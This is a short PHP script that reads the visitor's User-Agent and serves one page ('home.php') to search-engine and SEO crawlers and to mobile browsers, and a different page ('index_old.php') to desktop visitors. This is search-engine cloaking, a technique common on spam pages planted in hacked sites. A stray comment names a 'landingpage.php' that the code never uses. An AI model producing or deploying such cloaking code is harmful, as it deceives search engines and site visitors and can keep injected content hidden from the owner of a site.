<?php
$bot_user_agents = array(
    "Googlebot", "Googlebot-Image", "Googlebot-News", "Googlebot-Video", "Storebot-Google", "Google-InspectionTool",
    "GoogleOther", "GoogleOther-Image", "GoogleOther-Video", "Google-CloudVertexBot", "Google-Extended", "APIs-Google",
    "AdsBot-Google-Mobile", "AdsBot-Google", "Mediapartners-Google", "FeedFetcher-Google", "Google-Favicon", "Google Favicon",
    "Googlebot-Favicon", "Google-Site-Verification", "Google-Read-Aloud", "GoogleProducer", "Google Web Preview", "Bingbot",
    "Slurp", "DuckDuckBot", "Baiduspider", "YandexBot", "Sogou", "Exabot", "facebookexternalhit", "ia_archiver",
    "Alexa Crawler", "AhrefsBot", "Semrushbot"
);  

$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';

function is_bot($user_agent, $bot_user_agents) {
    foreach ($bot_user_agents as $bot) {
        if (stripos($user_agent, $bot) !== false) {
            return true;
        }
    }
    return false;
}

function is_mobile($user_agent) {
    $mobile_agents = array('Mobile', 'Android', 'Silk/', 'Kindle', 'BlackBerry', 'Opera Mini', 'Opera Mobi', 'iPhone', 'iPad');
    foreach ($mobile_agents as $mobile) {
        if (stripos($user_agent, $mobile) !== false) {
            return true;
        }
    }
    return false;
}

// Combined conditions for including 'landingpage.php'
if (is_bot($user_agent, $bot_user_agents) || is_mobile($user_agent)) {
    include 'home.php';
    exit;
} else {
    include 'index_old.php';
    exit;
}
?>